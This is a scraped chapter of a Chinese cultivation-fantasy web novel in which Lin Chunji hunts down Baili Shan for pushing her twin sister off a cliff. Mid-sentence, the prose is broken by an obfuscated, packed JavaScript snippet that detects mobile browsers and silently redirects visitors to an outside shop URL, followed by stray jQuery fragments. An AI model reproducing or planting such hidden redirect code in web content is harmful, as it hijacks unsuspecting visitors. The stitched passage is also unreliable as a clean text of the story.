默认冷灰
24号文字
方正启体

8. 冤有头债有主

作者:鹤摇西本书字数:K更新时间:
    北昆仑占地极广,一山赛过一山高,亭台楼阁鳞次栉比,若是第一次来,恐怕还真会在重峦叠嶂之中迷失了方向。


    好在多年前蔺春汲曾借向雪消的眼睛探访过北昆仑,对剑阁的位置还有印象,加之百里杉身上还染着向雪消血的气味,没让蔺春汲做个无头苍蝇。


    正值早课的时辰,四散在北昆仑各处的弟子们纷纷往七大主峰赶去,蔺春汲一身低调黑衣,处在弟子中间,并不算惹眼。


    向雪消受伤而回的消息尚未扩散开来,不少弟子上前来和她打招呼,不是叫“圣女”,便是唤“师姐”“师妹”的,蔺春汲轻笑着点头致意。


    她心中稍稍安定,至少向雪消在北昆仑的人缘还算不错,平日里应该没怎么受委屈。


    有人迎面御剑飞来,隔着老远便朝她打招呼,蔺春汲放缓速度,那人径直冲到了她面前:“师姐,你回来了?”


    少年的嗓音带着变声后的沙哑,脸上婴儿肥消退,带着介于年幼和成熟之间的青涩,眉宇间有着一股熟悉之感。


    是伏七郎,他已长得这么大了。


    蔺春汲没有贸然相认,只点了点头,瞥见他身后的剑,问道:“你要去剑阁上课?”


    伏七郎回答:“对,今日要学枯荣剑诀。”


    “百里杉可在剑阁?”蔺春汲说,“我找她有点事。”


    伏七郎道:“百里师姐?那师姐该去百丈阁,我方才见她往那边走了。”


    百丈阁位于北昆仑东边的一片断崖上,那附近方圆十里都是百里家的地盘。蔺春汲眸色微沉,道了声谢,便御着剑朝东方飞去。


    伏七郎按下被风带起的袍角,目光追着向雪消的背影而去,只这么一会功夫,便已经看不到她身影了,心想到底有什么事如此着急,飞得这般快,都不像师姐一贯温吞的作风了。


    他没再细想,转身朝剑阁飞去。


    回来时一路疾驰,进入宗门以后,百里杉反而没那么着急了,迎着初生的朝阳慢悠悠地飞着。四下静谧,放眼望去看不到一个人影,唇角一点点勾起,她终于露出一个志得意满的笑容来。


    五年了,自从被向雪消那个贱人抢走了圣女之位,她就一直在谋划着要取而代之,今日,计划终于走到了最后一步。向雪消一死,她百里杉,就是唯一有资格接任圣女之位的人。


    百里杉如何能不得意?她简直要笑出声来。


    她想想,等向雪消的死讯传来,怎么说也得十来天了,再广发讣告、举办葬礼,一堆杂七杂八的事情,怎么着也得一两个月,那册立新的圣女最快也得到来年开春了,她可以去金缕坊订一套最好的法衣,再去万宝阁打一套最贵的头面,等东西都做好了,她也已经是圣女了。


    正幻想着未来,忽有利刃破空声自身后传来,百里杉神色顿时一冷,抽出腰间的本命剑反手一斩,虎口顿时被震得发麻,全身灵力汇入剑中,她才终于将那只灵箭斩碎空中。


    “什么人!”


    百里杉转身怒喝,一眼便看见了浮在空中手握长弓的黑衣女子,不躲不闪,目光冷似坚冰。


    她惊呼出声:“向雪消?!”


    下一瞬,她又否定自己,不可能,向雪消摔下桑迈山崖,早已葬身蛇腹,不可能逃出来!于是厉喝道:“竟敢在我百里家的地盘放肆,你到底是谁!”


    蔺春汲拉开弓,四周灵气瞬间往她掌心聚拢,凝成利箭,一条青色蛟龙虚影缓缓爬上了箭身。


    她唇角微勾,似笑非笑道:“百里师姐将我推下悬崖,怎么还问我是谁?”


    利箭裂空而去,势如破竹,百里杉被她周身的骇然气势镇住,直到箭尖洞穿她护体灵罩,才猛然惊醒过来,拔剑抵挡。一箭未停,下一箭又至,皆蕴含着千钧之力,绝不可能是向雪消一个金丹医修该有的实力。


    再看她黑衣束发的冷傲容颜,电光火石之间,百里杉明白了一切:“你是蔺春汲?!”


    蔺春汲连射三箭,百里杉被逼落空中,不得不在密林里四处闪躲,可那灵剑却无孔不入,百里杉无路可退,离百丈阁也越来越远。


    半步化神的灵威犹如泰山压顶,逼得百里杉半跪于地,撑着本命剑才不至于整个人都陷入土中。整个胸腔都如被挤压,她挣扎着开口:“你闯进我宗,对我百般迫害,居心何在?南昆仑是想和北昆仑宣战吗?”


    蔺春汲收了弓,反手抽出一把剑来,缓缓朝百里杉走近,每走一步,灵威便加重一分,百里杉也由单腿半跪,变成双膝跪地,再到整个人陷入土中,地面也往下塌陷,这一过程不过是五步距离。


    蔺春汲捏着她的下巴抬高她的脸,迎着她恨毒凶恶的目光轻轻笑了一声,声冷似淬了冰:“我为何而来,百里道友不应该心知肚明吗?”


    百里杉眼神一缩,难道蔺春汲是为向雪消而来?旻洲离太苍那么远,她如何赶到的?还是说,她人本来就在太苍,甚至在桑迈山附近?


    “桑迈山谷底是真黑啊,瘴气遮天蔽日,毒雾迷得人眼睛都睁不开,潭底还有成千上百条蛇,顺着你的身体,爬啊爬,爬啊爬……”


    蔺春汲松开手,转而抚上百里杉的胳膊,微凉的手指轻抚她裸露的小臂。好似真有蛇腹从皮肤身上爬过,激得百里杉汗毛直翻。


    “你说,把你也丢进蛇窝里,尝尝被吞入蛇腹的滋味如何?”


    温热的吐息贴在耳边,百里杉的心忽然提到了嗓子眼,只感觉那只柔若无骨的手指抚上肩膀,在颈窝处流连轻点,往上一寸便是脆弱的脖颈,百里杉浑身僵冷,背后冷汗一茬接着一茬地冒。


    她定是去过桑迈山了,否则怎会知道谷底有妖蛇?那向雪消呢?死了?还是被她救了?


    定是没死透了,否则蔺春汲怎会知道是她下的手,还堂而皇之闯进北昆仑来找她寻仇。


    咚,咚,咚……百里杉的心跳一声高过一声,沉重的灵威压得她喘不过气来,浑身衣物已被冷汗湿透。她一点也不怀疑蔺春汲会就此拧断她的脖子,那可是蔺春汲!出了名的心狠手辣、睚眦必报。


    她早就亲眼目睹!


    当年南昆仑一行人从旻洲而来,远赴锻天宗参加试剑大会,半路却被一群不长眼的散修冲撞。他们仗着人多势众,还有一个元婴期的邪修领头,一路来烧杀抢掠,不知道祸害了多少修行者,偏偏撞在了蔺春汲的枪口上。


    百里杉亲眼看见,那时蔺春汲不过金丹修为,却一剑就砍飞了那邪修的胳膊,下一秒已是神不知鬼不觉地绕到他背后,再一剑削掉了他的头,溅起来的血有三尺高,如雨点泼洒在百里杉眼前。


    那天之后她连着做了好几夜的噩梦,一闭眼就看见蔺春汲那张染血的脸,好似从地狱里爬出来的罗刹鬼。那次试剑大会,也是她唯一发挥失常的一次。后来蔺春汲就销声匿迹了,再未踏足太苍。


    时间过得太快,太久,久到足以抹平记忆深处里的恐惧,久到让她忘记了,圣女向雪消,是蔺春汲一母同胞的孪生妹妹,骨肉相连,不可分离。


    心脏剧烈跳动,血液流速加快,死亡的恐惧笼罩住了她。百里杉咬破舌尖,痛楚让她清醒了几分。


    冷静,这里是北昆仑,是她百里家的地盘!有祖父在此坐镇,蔺春汲绝不敢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468815|201364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动她!再往前十里便是百丈阁范围了,只要她能逃进去,阵法全开,何惧一个蔺春汲?


    求生的本能战胜了恐惧,百里杉奋力挣脱了灵威束缚,化作一束光遁入土中,身上的法宝一股脑往后扔去,只求能为她拖延哪怕是一息时间。


    “轰——”


    蔺春汲一剑斩碎了百里杉所有法宝,巨大的声响惊得林中鸟兽四散开来,看着地底那束光一头撞上了她提前布置好的结界,察觉此路不通,便继续逃往其他方向寻找新的出路。


    唇边勾起一抹冷笑:“困兽之斗。”


    -


    “醒了醒了!”


    向雪消悠悠转醒,意识尚未回笼,便听见了柴樾大嗓门的喊声,嘈杂喧闹声传入耳中,都是熟悉的嗓音,鼻尖嗅到一阵阵灵药的清香,看来她是身在药堂之中无疑了。


    向雪消心中一片寒凉。


    她没能拦下蔺春汲。


    姐姐行事冲动,又一向说一不二,见她被害,当即就要找百里杉算账,可百里家又岂是好惹的?先不说其家族上千门生,金丹境以上的精锐就有数百人,蔺春汲就算是半只脚踏入化神境,也双拳难敌四手,更别说百里家还有大长老百里牧坐镇,那可是洞玄巅峰强者!捏死她们二人就像是捏死两只蚂蚁那么简单。


    向雪消如何敢让蔺春汲为了她以身犯险?


    迎着众人担忧目光,她再次吐出一口淤血来,掀开被子就要下床,然而元气尚未恢复,两腿一软,她从榻上跌落,希槿和柴樾一左一右架住了她的胳膊,又将她按回了床上。


    “乖徒儿,这么心急做什么?你现在最要紧的是把伤养好,想要什么告诉师父就行。”柴樾一把扯过被子,又给向雪消盖上了,一低头便看见大滴大滴的眼泪从向雪消眼角滑落下来,打湿了被衾。


    柴樾哪里见过宝贝徒弟这般脆弱的模样?定是受了极大的委屈。


    向雪消打小就要强,不论受什么苦,都咬牙自己扛。小时候她刚开始学炼丹,不慎被丹炉炸伤,也不哭不闹,忍着疼跑到他房门口,柴樾看到她满胳膊的血,才发现那道伤深可见骨。


    等年纪稍微大了点,她被同门欺负,也是一声不吭,非得他不厌其烦地追着问,她才会说,是谁扯了她的头花,又是谁抢了她的药草。


    所有亲传弟子里,柴樾一向最疼向雪消。不单单是因为她天赋异禀,能讨他欢心,更是因为她性格内敛,万般诸事不求人,生怕自己给别人添麻烦,好像她多吸一口气,多吃一口饭,便成了注定要被丢弃的累赘。


    向雪消十五岁时,蔺春汲偷偷来北昆仑找她,带着她在外面玩了大半个月,回来以后,柴樾才感觉这徒弟开朗了许多,说话也敢放开声音了,也不再整日战战兢兢地装鹌鹑,就好像原本柔弱无依的小白花忽然长出了刺,有了倚靠和底气,所以也就不再惧怕风吹雨打。


    柴樾很欣慰。他看着向雪消勤勤恳恳地修炼,从一介人人可欺的孤女,逐渐成长为能独当一面的炼丹师,再拿下圣女之位,站在昆仑山巅,接受众弟子的仰望。


    他本以为向雪消会这样一路顺风顺水下去,哪知她出门一趟就带了一身伤回来,连玲珑心都被人抢走了!


    到底是哪个黑心烂肚的贼子,竟敢对他柴樾的关门弟子、北昆仑的圣女,下如此毒手!


    强压下心中滔天怒火,柴樾低了声音,柔声安慰:“乖徒儿,和师父说说,到底是谁伤了你?别怕,师父在这里,为师就是舍了这把老骨头,也要为你讨一个说法!”


    “那就望师父,允许雪消舍身请命,开启昆仑审判台。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)